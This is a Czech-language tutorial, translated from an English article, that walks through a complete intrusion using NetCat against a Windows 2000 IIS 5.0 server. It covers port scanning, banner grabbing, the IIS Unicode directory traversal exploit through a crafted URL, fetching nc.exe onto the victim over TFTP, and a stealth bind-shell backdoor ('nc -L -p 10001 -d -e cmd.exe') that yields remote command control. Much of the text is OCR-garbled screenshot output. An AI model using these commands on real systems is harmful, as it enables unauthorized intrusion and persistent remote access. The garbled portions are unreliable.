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Hacking s NetCatem (preklad)

Vlozil/a Profik123 [1], 19 Prosinec, 2005 - 16:01

e Hacking [2]
e Security [3]

V tomto ¢lanku bych se chtél zminit o moznostech vyuziti programu NetCat. Pro nékoho je to denni
rutina, ale protoze jsem vidél i lidi, kteri NetCat neuméli ani spustit, natoZz s nim néco kloudného
udélat, tak jsem sepsal tento jednoduchy ¢lanek. Je zde obsazeno, jak pouzivat NetCat jako scanner
portl, backdoor, telnet nebo také pouziti NetCatu k prenaseni soubord.

Tento ¢lanek je ¢eskym prekladem Clanku NetCat Security z networknewz.com. Odkaz na origindlni
¢ldnek [4].

NetCat je utilita, kterd je schopné odesilat a prijimat data pres TCP a UDP spojeni. NetCat mUze byt
pouzit jako port scanner, backdoor, port redirector, port listener a jeSté na spoustu dalSich cool véci.
Neni to vzdycky nejlepsi nastroj pro préci, ale pokud bych se dostal ne opustény ostrov, tak bych si
chtél vzit NetCat s sebou. V tomhle ndvodu budu demonstrovat kompletni hack jenom s vyuzitim
NetCatu, abych ukazal, jak mnohostranny néstroj to je.

Scannovani portd s NetCatem

Scannovani si ukdzeme hned na pfikladu nc -v -w 2 -z target 20-30. NetCat se bude pokouset pfipojit
na kazdy port mezi 20 a 30. Prepinac -z pfedchazi posilani dat do TCP spojeni a limituje data na UDP
spojeni. Prepinac -i vklada mezeru mezi kazdé vyzkouseni portu. Ac¢koli mize byt NetCat pouzit pro
scannovani portd, tak to neni jeho nejsilnéjsi stranka. Nastroje jako Nmap jsou pro scann portd
daleko lepsi.

[ ] 2 WINNT, System32' . cmd.e

v —w2 —z 192.168.1.98 1-288

[122.168.1.981 13? <{nethiecz—ssn) open
[122.168.1.98]1 13% <{epmap? open
[122.168.1.981 11? <{nntp> open
[192.168.1.98]1 88 C(http) open
[122.168.1.981 25 {(smtp) open
[122.168.1.98]1 21 {ftp> open

1 k e

Scannovali jsme 192.168.1.1, porty 1-200. Kromé ostatnich mdzeme vidét otevrené porty 80, 21 a
25...

Banner Grabbing s NetCatem
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Tak ted chceme zjistit, co bé&zi na portech 80 a 21. K ziskani banneru mizeme pouzit NetCat
nasledujicim zplsobem.

E:"-.,WINNT"-.,E',rsten132"-.,cmd.eulm

C:stools?>ne —w —n 192.168.1.98 88
CUMENOWMN> [192_168.1_.981 88 (?) open
GET HTTP

HTTP-1.1 488 Bad Request

Server: Microsoft-1IS5-5%.8

Date: Mon, @5 May 2003 26:49:87 GMT
Content—-Type: texts /html
Content—Length:= 87

Chtml2><head><{tit le>Error{ title > head > body>The paramete
L/html >
C:stools>

[ ] O WINNT Sy stem32% cind.

Cistoolsd>ne —v —n 192.168.1.98 21

CUMENOWM> [192.168.1.9281 21 {(?> open

E%E p—test Microsoft FIP Service (Uersiom 5.8>.
C:istools

Tak ted vime, Ze se pravdépodobné jedna o systém Windows 2000, protoze na ném bézi server IIS
5.0 a Microsoft FTP Service.

Tak a ted pojdme poslat na server upravené URL, kterym se pokusime exploitnout "File Traversal
vulnerability" na nepatchovanym serveru. Na vyzkouseni budeme pouzivat NetCat a kdyZ to pUjde,
tak NetCat na server uploadneme a ukazeme si, jak mlZzeme NetCat vyuzit jako backdoor.

Pokud nevite, co je to ten "Unicode File traversal exploit", mlzZete se podivat na web a hledat néco
jako "IIS Unicode File Traversal". (Dneska uz to asi nebude fungovat, ale na demonstraci NetCatu to
musi stacit.)
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L WINST System 32\ cmd.ese

C:stoolsdne —w -n 192.168.1.98 88

CUMKMOWNY [192.168.1.981 BA C7) apen

GEI http:/7172.168.1.78/scriptas .. X2i050cC .. winntssystemid cnd.exa T Ao +dir+cz s
HTTP-1.1 288 0K

Server: Microzoft-115-5.8

Date: Mon, @5 MHay 2883 Z@:57:85 GHT

Loantent=lype: applicationsoctet—stream

Uplume in drive C has no label.
Uolume Serial Mumber iz ZC10-BF86

Directory of el

B3-87-2883 @1:15p L DI R> Documents and Settings
B57805-2803 18:34p <DIR> Inetpub
B3-B6-2883 18:43a <+DIR> Program Files
o800 000 18:=34p +DIR? WiHNI]
8 Fileis2l 8 bytes
4 Dirds) 16.138.674.688 bytes Free

Cistonls >

Super! Poslali jsme na server URL:
http://192.168.1.90/scripts/..%255c¢../winnt/system32/cmd.exe?/c+dir+c: [5] k napadeni lIS serveru a
to co vidime je adreséar na disku serveru.

Vyborné! Ted chceme na server uploadnout NetCat. Tak pouzijeme TFTP a integrujeme TFTP prikaz
do upraveného URL.

LA WINNT System32 emd. exe

Listoolsnc —wu 174 .166 .1 .98 HE

CUMEMOWM> [1° bl .1 .0 BB (T2 open

GET http: - 1" J FH. s/ x205e . L Avinntssystend2 Aomd cexe? e A TRTP+—1+192.
168 .1 .Y+E]+

==z Hiew
Date: Mon. B5 May
Content—Length:
Content—Type: texts

Chead?<{title*Error in OGI Application{stit Lel{ / head> i )
{hody>{hi*CGI Error{ hl>The specified CGI application mizbehaved by not returnin
g a complete set of HTTP headers. The headers it did return are:{p*pi<pred{ pr

(]

tftp -1 192.168.1.9 GET nc.exe
Se pretransformuje do:
http://.../c+TFTP+-i+192.168.1.9+GET+nc.exe

Pomoci progrdmku TFTPD teda ddme NetCat ne server.
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“ TFTPD32 by Ph. Jounin ;_. _ O] x|

Baze Directany T kool | Hrowze

Server interffaces (19216213 j Sho Cir

Connechion recered from 132 168.1.90 on port 1113
Read request for file <nc_exs> Mode octet
¢nc.exer: zent 118 blkz, 53332 bytes in 0 = 0 blk rezent

dl | B

Current Action ]Listenirrg on poit 63

About | Setings Hep |

NetCat jako backdoor

Tak a ted médme NetCat uploadnuty na serveru a chceme ho pouzit k vytvoreni zadnich vratek

(backdoor), aby jsme ziskali vzdaleny prikazovy radek.

K pouziti NetCatu jako backdoor potrebujeme, aby naslouchal na néjakém vybraném portu (my se
vybereme treba port 10001), abychom se na né&j mohli pfipojit z naseho pocitace... samozrejmé

pouzitim zase NetCatu :))

Prikaz, ktery posleme na server vypada néjak takhle :
nc -L -p 10001 -d -e cmd.exe

A tady k tomu méame vysvétlivky :

nc -> spusti NetCat

-L -> rikd NetCatu, aby ¢ekal na prichozi spojeni

-p -> port, na kterém NetCat cekd

-d -> stealth mode
-e -> spusti néjaky program (cmd.exe) a ¢ekd na prichozi spojeni

Ted kdyz budeme tenhle prikaz chtit pretransformovat zase na URL :

http://.../c+nc+-L+-p+10001+-d+-e+cmd.exe

No a ted uz zbyva jenom NetCat spustit naostro...
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"'_'_E

L WINNT Sy stem3Z ) cnd ese - ne -¥ -n IB‘EJ—E-‘.;"'

LzswEoo ls ne -~y

(UHKHOWH> [1%2.168.1.98] 88 (7> open

GET http: -1 168.1. . 98/5cpriptses. 250 . . winnt systend “emil .exe? e rne +=L+-p+1EA
H1 d=d v vomd e e

Nyni bychom méli mit spustény NetCat naslouchajici na portu 10001. Tedka se z nasi masiny
pripojime na NetCat na serveru.

E:"-.,WINNT"-.,Ersten132"-.,cn1d.ene

Cistools>ipconfig
indows 2808 IP Configuration
Ethernet adapter HAT:

Connection—specific DNS Suffix
IP Addres=. . . . . . - - . -

Subnet Mask . . . . . . . . . .
Default Gateway . . . . . . . .

Cistoolsi>ne —vw —n 1922.168.1 .98 186861
CUNENOWN> [122.168.1.9281 188681 (7> open
Microsoft Windows 2080 [Uersion 5.88.21951
CC» Copyright 19851999 Microsoft Corp.

192.168.1.9
255 .255.255.8
192.168.1.138

cisinetpubsscripts Xdpoconf ig
ipconfig

Windows 2000 IFP Configuration

Ethernet adapter Local Area Connection:
Connection—specific DNS Suffix
IP Address. . . . . .

Subnet Mask . . . .
Default Gateway . .

122.168.1.98
255.255.255.8

cisinetpubhscripts>

Mame vzdaleny prikazovy radek serveru a mizeme ho pIné ovladat.

Prenos souboru pomoci NetCatu

Pojdme se podivat na ostatni moznosti, které NetCat poskytuje. Chceme prenést soubor hack.txt na
server a z néjakého dlvodu nemUzeme pouzit TFTP. MizZzeme pouzit NetCat...
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Na pfrijimani souboru hack.txt musi byt NetCat na serveru nastaven takto :

nc -l -p 1234 >hack.txt

E:"-.,WINNT"-.,Sysl:en132"-.,cn1d.e:|{

cisinetpubsscripts2ipoconf ig
ipconf ig

Windows 20808 IPF Configuration
Ethernet adapter Local Area Connection:

Connection—specific DMS Suffix
IP Address. . . . . . . . -
Subnet Mask . . . . . . .
Default Gateway . . . . .

192.168.1.98
255.255.255.8

c:sinetpubsscripts2ne —1 —p 1234 >hack.txt
nc —1 —p 1234 >hack.txt

Z naseho pocitace odesleme soubor nasledovné :

nc destination 1234

E:"-.,WINNT"-.,E',rsten132"-._tmd.e:|m

C:stoolsdne 192.168.1.98 1234 <hack.txt
“C
Cistools >

A takhle vypadé soubor hack.txt
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M) hack.txt - Note - O] x|

File Edit Formak  Help
vou have been hacked J
A...Voila!

E:"-.,WINNT"-.,Srsten132"-.,cn1d.ene

cisinetpubsscripts dir

dix

Uolume in driwve C has no label.
Uolume Serial Humber is 2C018—-8F86

Directory of civinetpubsscripts

11:58p <{DIR> -
11 :58p <DIR>

12:83a 21 hack.txt
11:=25%p 59.392 nc.exe

2 Filed(s> 59.413 hytes

2 Divd(=s> 16.138.531.328 hbytes free

cisinetpubsscripts 2type hack.txt

Vidime, ze soubor hack.txt byl Uspésné prenesen na server pres port 1234.

URL c¢lanku: https://security-portal.cz/clanky/hacking-s-netcatem-p%C5%99eklad
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